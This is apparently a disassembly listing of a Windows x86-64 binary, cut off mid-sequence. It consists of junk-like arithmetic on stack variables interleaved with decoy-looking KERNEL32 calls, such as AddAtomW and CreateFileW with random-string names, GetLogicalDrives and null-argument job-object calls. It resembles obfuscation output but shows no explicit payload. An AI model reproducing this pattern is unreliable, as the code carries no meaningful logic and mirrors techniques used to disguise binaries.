mov eax, dword [rax]
mov dword [rsp + 0xd5dc], eax
movsx eax, word [rsp + 0x3690]
movsx ecx, word [rsp + 0x37b0]
add eax, ecx
mov word [rsp + 0x3824], ax
movsx eax, byte [rsp + 0x4bc]
mov rcx, qword [rsp + 0x19f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69c], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3678], ax
movzx eax, byte [rsp + 0x5b9]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb3b], al
mov eax, dword [rsp + 0xd2d0]
mov ecx, dword [rsp + 0xcf34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3a8], eax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov dword [rsp + 0xd5e0], eax
movzx eax, word [0x1402bf5e8]
movzx ecx, word [rsp + 0x3814]
and eax, ecx
mov word [rsp + 0x387c], ax
lea rax, [rsp + 0x7d4]
mov qword [rsp + 0x1a2b0], rax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfc4], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov dword [rsp + 0xd5e4], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9460]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd1e4]
mov ecx, dword [rsp + 0xac7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd18c], eax
mov rax, qword [rsp + 0x1a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78d]
or eax, ecx
mov byte [0x1402acbce], al
movzx eax, word [rsp + 0x3264]
movzx ecx, word [rsp + 0x2644]
cdq
idiv ecx
mov word [rsp + 0x1b68], ax
mov rax, qword [0x1402bf740]
mov rcx, qword [rsp + 0x1a0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd4b4]
mov dword [rsp + 0xd5e8], eax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b9]
shl eax, cl
mov byte [rsp + 0x7d2], al
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3820], ax
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov word [rsp + 0x388c], ax
movzx eax, byte [rsp + 0x80e]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x80d], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402ad70c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc5f8], eax
mov eax, dword [rsp + 0xa958]
mov ecx, dword [rsp + 0xab38]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad79c], eax
mov rax, qword [0x1402bf6c8]
mov ecx, dword [rsp + 0xb7b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce30], eax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xd128]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd328], eax
mov eax, dword [rsp + 0xce34]
mov dword [rsp + 0xd5ec], eax
mov rax, qword [0x1402bf588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x81c], al
mov rax, qword [rsp + 0x19a68]
mov ecx, dword [rsp + 0xcf0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd310], eax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xa224]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x83e4], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
mov dword [rsp + 0xd5f0], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83c0]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf620], eax
movzx eax, byte [rsp + 0x80c]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1a0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1df4], ax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d0]
shl eax, cl
mov byte [rsp + 0x4bc], al
movzx eax, word [rsp + 0x3788]
mov word [rsp + 0x3890], ax
mov eax, dword [rsp + 0xd278]
mov ecx, dword [rsp + 0xa830]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd518], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd1e0]
sar eax, cl
mov dword [rsp + 0xce60], eax
lea rax, [rsp + 0x36b8]
mov qword [rsp + 0x1a2b8], rax
movzx eax, byte [rsp + 0x7e7]
movzx ecx, byte [rsp + 0x798]
or eax, ecx
mov rcx, qword [rsp + 0x19f98]
mov byte [rcx], al
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd10c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7a0], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov dword [rsp + 0xd5f4], eax
mov rax, qword [rsp + 0x1a070]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa240], eax
mov rax, qword [rsp + 0x19f88]
mov ecx, dword [rsp + 0xd140]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19db8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x370c]
movzx ecx, word [rsp + 0x376c]
add eax, ecx
mov word [rsp + 0x1b78], ax
mov edx, 0x8ea
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd0b0], eax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
sub eax, ecx
mov rcx, qword [rsp + 0x19a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd5f8], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd030]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a0d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd4f8]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad77c], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov dword [rsp + 0xd5fc], eax
lea rcx, str.FhOAL7twLx_EkoF3u
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3894], ax
movsx eax, word [0x1402ad678]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3624], ax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcd74], eax
movsx eax, byte [rsp + 0x800]
movsx ecx, byte [rsp + 0x62d]
and eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, byte [rsp + 0x2b4]
movzx ecx, byte [0x1402acb4f]
or eax, ecx
mov byte [rsp + 0x806], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xceec], eax
movzx eax, word [rsp + 0x37cc]
mov word [rsp + 0x3898], ax
mov rax, qword [rsp + 0x19db8]
mov ecx, dword [rsp + 0xd2d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd404], eax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc224]
sar eax, cl
mov rcx, qword [rsp + 0x19c98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x813]
mov byte [rsp + 0x81d], al
movzx eax, word [rsp + 0x35a8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1402ad7a4], ax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a1b8]
mov qword [rsp + 0x1a2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a2c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xc400], eax
lea rax, [rsp + 0xcd1c]
mov qword [rsp + 0x1a2c8], rax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd180], eax
mov eax, dword [rsp + 0xd588]
mov ecx, dword [0x1402bf5f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf08], eax
movzx eax, word [rsp + 0x20e4]
movzx ecx, word [rsp + 0x3654]
imul eax, ecx
mov word [rsp + 0x1d7c], ax
movzx eax, byte [rsp + 0x7b4]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x80c], al
mov eax, dword [rsp + 0xd5dc]
mov dword [rsp + 0xd600], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd424], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd600]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a1a0]
movzx eax, byte [rax]
mov byte [0x1402bf578], al
lea rcx, [rsp + 0x1a2d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3614]
add eax, ecx
mov word [rsp + 0x3624], ax
movzx eax, byte [rsp + 0x7b2]
mov byte [rsp + 0x81e], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d7c], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xd604], eax
mov eax, dword [rsp + 0xcf54]
mov ecx, dword [rsp + 0x9960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd59c], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xae14], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x19a18]
mov ecx, dword [rsp + 0xd190]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb5b4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x95c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0c8], eax
lea rax, [0x1402bf61e]
mov qword [rsp + 0x1a2d8], rax
movzx eax, word [rsp + 0x364c]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad6f8], ax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd498]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3a0], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov dword [rsp + 0xd608], eax
lea rdx, [rsp + 0x19e60]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd74], eax
mov eax, dword [rsp + 0xceb4]
movzx ecx, al
mov eax, dword [rsp + 0x8754]
shl eax, cl
mov dword [rsp + 0xd320], eax
mov eax, dword [0x1402bf6dc]
mov ecx, dword [rsp + 0xd3e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd46c], eax
movzx eax, byte [rsp + 0x7dd]
mov byte [rsp + 0x81f], al
movzx eax, word [rsp + 0x370c]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3670], ax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402bf78c]
and eax, ecx
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36cc], ax
mov rax, qword [rsp + 0x19f00]
mov rcx, qword [rsp + 0x19b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6e8], eax
mov eax, dword [rsp + 0xd4e4]
mov ecx, dword [rsp + 0xac7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x838c], eax
lea rax, [rsp + 0x7f6]
mov qword [rsp + 0x1a2e0], rax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35f4], ax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov dword [rsp + 0xd60c], eax
mov eax, dword [rsp + 0xb404]
mov ecx, dword [rsp + 0xb024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd518], eax
mov eax, dword [rsp + 0xd2a4]
mov ecx, dword [rsp + 0x9a04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfb0], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov dword [rsp + 0xd610], eax
movzx eax, byte [rsp + 0x43a]
mov rcx, qword [rsp + 0x1a1d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78d], al
lea rax, [rsp + 0x3610]
mov qword [0x1402bf570], rax
mov rax, qword [rsp + 0x1a1b8]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb520], eax
mov eax, dword [rsp + 0xd31c]
movzx ecx, al
mov eax, dword [rsp + 0x91fc]
shl eax, cl
mov dword [rsp + 0x8de8], eax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov dword [rsp + 0xd614], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402bf6bc]
sar eax, cl
mov dword [rsp + 0xb1c8], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xd37c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd26c], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd618], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
movzx eax, byte [rsp + 0x4bc]
mov byte [rsp + 0x820], al
lea rcx, [rsp + 0x19eb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3868]
xor eax, ecx
mov word [rsp + 0x3620], ax
lea rax, [rsp + 0x3664]
mov qword [rsp + 0x1a2e8], rax
movzx eax, byte [rsp + 0x78c]
movzx ecx, byte [rsp + 0x7ef]
and eax, ecx
mov byte [0x1402acbef], al
mov rax, qword [rsp + 0x1a150]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd4b0], eax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x199a0]
mov word [rcx], ax
lea rdx, [rsp + 0x2c1c8]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcddc], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov dword [rsp + 0xd61c], eax
mov eax, dword [rsp + 0xd59c]
mov ecx, dword [0x1402bf650]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd484], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd274], eax
mov eax, dword [rsp + 0xd138]
mov ecx, dword [rsp + 0xd038]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd520], eax
mov eax, dword [rsp + 0xa4fc]
mov dword [rsp + 0xd620], eax
mov rax, qword [0x1402bf570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402bf730]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7fb]
mov rcx, qword [rsp + 0x19fd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19a08]
mov byte [rcx], al
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd36c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafa0], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa240]
shl eax, cl
mov dword [rsp + 0xa958], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movsx eax, byte [rsp + 0x62d]
movsx ecx, byte [0x1402bf5a4]
xor eax, ecx
mov byte [rsp + 0x7d2], al
movzx eax, word [rsp + 0x3890]
mov word [rsp + 0x389c], ax
movzx eax, byte [rsp + 0x7b2]
movzx ecx, byte [rsp + 0x7d7]
sar eax, cl
mov byte [rsp + 0x809], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [rsp + 0x38a0], ax
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd44c], eax
mov eax, dword [rsp + 0xd010]
mov ecx, dword [rsp + 0xd548]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6c0], eax
lea rax, [rsp + 0xce30]
mov qword [rsp + 0x1a2f0], rax
mov eax, dword [rsp + 0xd5cc]
mov ecx, dword [rsp + 0xd184]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd070], eax
mov rax, qword [rsp + 0x19f10]
mov rcx, qword [rsp + 0x19c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd42c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce0c], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x38a4], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ef], al
mov rax, qword [rsp + 0x19888]
mov ecx, dword [rsp + 0xd4e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9828], eax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2bc], eax
mov rax, qword [rsp + 0x1a248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [0x1402bf5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad7a8], eax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov byte [rsp + 0x821], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x23d4]
add eax, ecx
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
movzx eax, word [rsp + 0x3754]
mov word [rsp + 0x38a8], ax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a270]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0xd4a4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd5ac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.nPoGA6f6O6Zz6tt0pXemaL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a2f8], rax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c60]
mov qword [rsp + 0x1a300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a300]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb09c], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x414]
cdq
idiv ecx
mov rcx, qword [rsp + 0x19fd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2338]
mov word [rsp + 0x38ac], ax
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov rcx, qword [0x1402bf740]
mov qword [rsp + 0x1a308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a308]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1402ad664], eax
mov eax, dword [rsp + 0xb164]
mov ecx, dword [rsp + 0x7eec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5bc], eax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [rsp + 0xd378]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov dword [rsp + 0xd624], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d0], ax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x376c], ax
lea rax, [rsp + 0x7b8]
mov qword [rsp + 0x1a310], rax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd61c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0xd448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc94c], eax
mov eax, dword [0x1402ad6b8]
mov ecx, dword [rsp + 0xd308]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd24c], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov dword [0x1402bf568], eax
mov rax, qword [rsp + 0x19c30]
mov ecx, dword [rsp + 0xd1e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd610], eax
movzx eax, word [rsp + 0x3150]
mov word [rsp + 0x38b0], ax
movsx eax, byte [rsp + 0x28e]
movsx ecx, byte [rsp + 0x36e]
add eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
lea rax, [rsp + 0x3838]
mov qword [rsp + 0x1a318], rax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30c], al
mov rax, qword [rsp + 0x19e88]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xca14], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xd628], eax
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19950]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2fd]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acbf2], al
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb290]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0f4], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce9c]
shl eax, cl
mov dword [rsp + 0xd554], eax
mov eax, dword [rsp + 0xd2a0]
mov ecx, dword [rsp + 0xd00c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c50], eax
mov eax, dword [rsp + 0xafcc]
mov dword [rsp + 0xd62c], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20c8], ax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
mov byte [rsp + 0x822], al
mov eax, dword [0x1402ad750]
mov ecx, dword [rsp + 0xd080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce68], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd630], eax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a078]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402acb46], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38a8]
add eax, ecx
mov word [rsp + 0x3768], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x815]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x3780]
movzx ecx, word [rsp + 0x3264]
sub eax, ecx
mov word [rsp + 0x278c], ax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a250]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov dword [rsp + 0xd634], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x1a210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd254], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0xd14c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd194], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xd638], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a1], al
movzx eax, word [rsp + 0x36f0]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad7ac], ax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf9c]
shl eax, cl
mov dword [rsp + 0xbac0], eax
mov eax, dword [rsp + 0x9500]
mov ecx, dword [rsp + 0xcf28]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3ec], eax
mov rax, qword [rsp + 0x19f18]
mov ecx, dword [rsp + 0xce60]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcf0c], eax
mov eax, dword [rsp + 0xbb44]
mov dword [rsp + 0xd63c], eax
movzx eax, word [0x1402ad718]
movzx ecx, word [rsp + 0x366c]
cdq
idiv ecx
mov word [rsp + 0x3758], ax
mov rcx, qword [rsp + 0x1a278]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd06c], eax
movzx eax, byte [rsp + 0x7c1]
mov byte [rsp + 0x823], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a118]
